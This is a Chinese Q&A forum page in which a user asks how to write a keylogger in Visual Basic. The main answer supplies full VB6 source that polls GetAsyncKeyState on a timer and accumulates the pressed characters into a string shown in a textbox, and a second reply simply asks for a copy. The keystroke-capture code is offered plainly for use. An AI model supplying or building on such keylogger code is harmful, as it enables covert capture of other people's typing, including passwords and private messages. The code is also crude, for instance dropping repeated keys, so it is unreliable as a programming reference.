如何用VB编写键盘记录器?是不是很简单的一个程序。?
发布网友
发布时间:2024-02-13 14:56
我来回答
共2个回答
热心网友
时间:2024-03-10 03:44
'------------Mole1.bas---------
Public Const DT_CENTER = &H1
Public Const DT_WORDBREAK = &H10
Type RECT
Left As Long
Top As Long
Right As Long
Bottom As Long
End Type
Declare Function DrawTextEx Lib "user32" Alias "DrawTextExA" (ByVal hDC As Long, ByVal lpsz As String, ByVal n As Long, lpRect As RECT, ByVal un As Long, ByVal lpDrawTextParams As Any) As Long
Declare Function SetTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long
Declare Function KillTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long
Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Declare Function SetRect Lib "user32" (lpRect As RECT, ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long
Global Cnt&, sSave$, sOld$, Ret$, Tel&
Function GetPressedKey() As String
For Cnt = 32 To 128
If GetAsyncKeyState(Cnt) <> 0 Then
GetPressedKey = Chr$(Cnt)
Exit For
End If
Next Cnt
End Function
Sub TimerProc(ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long)
Ret = GetPressedKey
If Ret <> sOld Then
sOld = Ret
sSave = sSave + sOld
End If
End Sub
'-------------------------
'---------------form1-------------
Private Sub Form_Load()
Me.Caption = "键盘监视器"
SetTimer Me.hwnd, 0, 1, AddressOf TimerProc
timer1.Interval = 10
End Sub
Private Sub Form_Unload(Cancel As Integer)
KillTimer Me.hwnd, 0
End Sub
Private Sub Timer1_Timer()
Text1.Text = sSave
End Sub
参考资料:http://hi.baidu.com/ivu179/blog/item/52d2877b3ad963f30bd18744.html
热心网友
时间:2024-03-10 03:45
我也要一个哈